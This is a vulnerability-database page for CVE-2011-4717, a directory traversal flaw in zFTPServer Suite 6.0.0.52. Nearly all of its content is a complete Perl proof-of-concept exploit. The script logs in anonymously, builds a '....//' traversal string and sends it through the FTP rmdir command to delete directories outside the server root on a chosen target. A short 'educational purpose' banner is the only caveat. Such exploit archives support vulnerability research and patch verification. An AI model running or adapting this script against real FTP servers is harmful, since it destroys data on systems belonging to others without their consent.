Lucene search
K

zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 110 Views

zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal advisory by Stefan Schurt

Related
Code
ReporterTitlePublishedViews
Family
0day.today
zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
11 Dec 201100:00
zdt
CVE
CVE-2011-4717
20 Dec 201111:00
cve
Cvelist
CVE-2011-4717
20 Dec 201111:00
cvelist
Exploit DB
zFTPServer Suite 6.0.0.52 - 'rmdir' Directory Traversal
11 Dec 201100:00
exploitdb
EUVD
EUVD-2011-4635
7 Oct 202500:30
euvd
exploitpack
zFTPServer Suite 6.0.0.52 - rmdir Directory Traversal
11 Dec 201100:00
exploitpack
NVD
CVE-2011-4717
20 Dec 201111:55
nvd
Packet Storm
zFTPServer Suite 6.0.0.52 Directory Traversal
12 Dec 201100:00
packetstorm
Prion
Directory traversal
20 Dec 201111:55
prion
RedhatCVE
CVE-2011-4717
22 May 202504:31
redhatcve
Rows per page

                                                #!/usr/bin/perl
#################################################################################
# Advisory:		zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
# Author:		Stefan Schurtz
# Contact:		[email protected]
# Affected Software:	Successfully tested on zFTPServer Suite 6.0.0.52
# Vendor URL:		http://www.zftpserver.com/
# Vendor Status:	fixed
# CVE-ID:		CVE-2011-4717
# PoC-Version: 		0.2
#################################################################################
use strict;
use Net::FTP;

my $user = "anonymous";
my $password = "anonymous@";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
	print "[+] Usage: $@ <target> <payload length>\n";
	exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload '....//' with min. length of 38
##################################################
my @p = ( "",".",".",".",".","/","/" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
	 $payload .= $p[$i];
	 push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
6.5Medium risk
Vulners AI Score6.5
EPSS0.02167
110